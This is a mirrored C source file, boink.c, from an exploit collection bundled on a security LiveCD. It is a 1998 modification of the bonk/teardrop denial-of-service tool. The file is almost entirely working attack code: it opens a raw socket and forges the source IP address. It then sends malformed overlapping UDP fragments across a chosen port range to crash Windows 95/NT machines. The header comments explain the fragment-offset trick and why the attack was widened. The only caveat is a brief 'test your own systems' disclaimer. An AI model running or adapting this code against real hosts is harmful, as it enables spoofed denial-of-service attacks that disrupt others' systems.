home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / boink.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  206 lines

  1. /*
  2.   boink.c - a modified bonk.c
  3.   
  4.     
  5.                                 ==bendi - 1998==
  6.  
  7.                         bonk.c        -         5/01/1998
  8.         Based On: teardrop.c by route|daemon9 & klepto
  9.         Crashes *patched* win95/(NT?) machines.
  10.  
  11.         Basically, we set the frag offset > header length (teardrop
  12.         reversed). There are many theories as to why this works,
  13.         however i do not have the resources to perform extensive testing.
  14.         I make no warranties. Use this code at your own risk.
  15.         Rip it if you like, i've had my fun.
  16.  
  17.     Modified by defile(efnet) [9/01/98]
  18.         
  19.         As it stood before, bonk.c just simply attacked port 55.
  20.         Upon scanning my associates, I've noticed port 55 isn't
  21.         always open. It varies in fact, while other ports remain
  22.         open and vulnerable to this attack. I realized that Microsoft
  23.         just might fix this by blocking port 55 off or something
  24.         completely lame like that, and that is unacceptable.
  25.         
  26.         As of this modification, you provide both a "start" and a
  27.         "stop" port to test for the weakness, in the attempt to catch
  28.         a possibly open port. (I've noticed port 55 seemed to come open
  29.         more frequently on machines that were running IE though)
  30.         
  31.         Hopefully this will encourage Microsoft to write a REAL fix
  32.         instead of just make lackey fixes as they've had in the past.
  33.         
  34.         Please only use this to test your own systems for vulnerability,
  35.         and if it is, bitch at Microsoft for a fix. I am not responsible
  36.         for any damage that may come and as stated above by the
  37.         author, this might not even work. I make no claims
  38.         to the ownership to any portions of this source in any way.
  39.         
  40.         
  41. */
  42.  
  43. #include <stdio.h>
  44. #include <string.h>
  45.  
  46. #include <netdb.h>
  47. #include <sys/socket.h>
  48. #include <sys/types.h>
  49. #include <netinet/in.h>
  50. #include <netinet/ip.h>
  51. #include <netinet/ip_udp.h>
  52. #include <netinet/protocols.h>
  53. #include <arpa/inet.h>
  54.  
  55. #define FRG_CONST       0x3
  56. #define PADDING         0x1c
  57.  
  58. struct udp_pkt
  59.   {
  60.     struct iphdr    ip;
  61.     struct udphdr   udp;
  62.     char data[PADDING];
  63.   }
  64. pkt;
  65.  
  66. int     udplen=sizeof(struct udphdr),
  67.                iplen=sizeof(struct iphdr),
  68.                      datalen=100,
  69.                              psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
  70.                                    spf_sck;                        /* Socket */
  71.  
  72. void usage(void)
  73. {
  74.   /* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n"); */
  75.   fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stop_port> [num]\n");
  76.   exit(0);
  77. }
  78.  
  79. u_long host_to_ip(char *host_name)
  80. {
  81.   static  u_long ip_bytes;
  82.   struct hostent *res;
  83.  
  84.   res = gethostbyname(host_name);
  85.   if (res == NULL)
  86.     return (0);
  87.   memcpy(&ip_bytes, res->h_addr, res->h_length);
  88.   return (ip_bytes);
  89. }
  90.  
  91. void quit(char *reason)
  92. {
  93.   perror(reason);
  94.   close(spf_sck);
  95.   exit(-1);
  96. }
  97.  
  98. int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
  99.            int dst_prt)
  100. {
  101.   int     bs;
  102.   struct  sockaddr_in to;
  103.  
  104.   memset(&pkt, 0, psize);
  105.   /* Fill in ip header */
  106.   pkt.ip.version = 4;
  107.   pkt.ip.ihl = 5;
  108.   pkt.ip.tot_len = htons(udplen + iplen + PADDING);
  109.   pkt.ip.id = htons(0x455);
  110.   pkt.ip.ttl = 255;
  111.   pkt.ip.protocol = IP_UDP;
  112.   pkt.ip.saddr = src_addr;
  113.   pkt.ip.daddr = dst_addr;
  114.   pkt.ip.frag_off = htons(0x2000);        /* more to come */
  115.  
  116.   pkt.udp.source = htons(src_prt);        /* udp header */
  117.   pkt.udp.dest = htons(dst_prt);
  118.   pkt.udp.len = htons(8 + PADDING);
  119.   /* send 1st frag */
  120.  
  121.   to.sin_family = AF_INET;
  122.   to.sin_port = src_prt;
  123.   to.sin_addr.s_addr = dst_addr;
  124.  
  125.   bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
  126.               sizeof(struct sockaddr));
  127.  
  128.   pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
  129.   pkt.ip.tot_len = htons(iplen + FRG_CONST);
  130.   /* 2nd frag */
  131.  
  132.   bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
  133.               (struct sockaddr *) &to, sizeof(struct sockaddr));
  134.  
  135.   return bs;
  136. }
  137.  
  138. void main(int argc, char *argv[])
  139. {
  140.   u_long  src_addr,
  141.   dst_addr;
  142.  
  143.   int     i,
  144.   /* src_prt = 55,
  145.      dst_prt = 55, */
  146.   start_port,
  147.   stop_port,
  148.   bs = 1,
  149.        pkt_count;
  150.  
  151.   if (argc < 5)
  152.     usage();
  153.  
  154.   start_port = (u_short) atoi (argv[ 3 ]);
  155.   stop_port = (u_short) atoi (argv[ 4 ]);
  156.   if (argc == 6)
  157.     pkt_count = atoi (argv[ 5 ]);
  158.  
  159.  
  160.   if (start_port >= stop_port ||
  161.       stop_port <= start_port)
  162.     {
  163.  
  164.       start_port = 25;
  165.       stop_port = 65;
  166.  
  167.     }
  168.  
  169.  
  170.   if (pkt_count == 0)    pkt_count = 10;
  171.  
  172.   /* Resolve hostnames */
  173.  
  174.   src_addr = host_to_ip(argv[1]);
  175.   if (!src_addr)
  176.     quit("bad source host");
  177.   dst_addr = host_to_ip(argv[2]);
  178.   if (!dst_addr)
  179.     quit("bad target host");
  180.  
  181.   spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  182.   if (!spf_sck)
  183.     quit("socket()");
  184.   if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
  185.                  sizeof(bs)) < 0)
  186.     quit("IP_HDRINCL");
  187.  
  188.   for (i = 0; i < pkt_count; ++i)
  189.     {
  190.       int j;
  191.  
  192.       printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port);
  193.  
  194.       for (j = start_port; j != stop_port; j++)
  195.         {
  196.  
  197.           /* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); */
  198.           fondle (spf_sck, src_addr, dst_addr, j, j);
  199.  
  200.         }
  201.       usleep(10000);
  202.     }
  203.  
  204.   printf("Done.\n");
  205. }
  206. /*                    www.hack.co.za              [2000]*/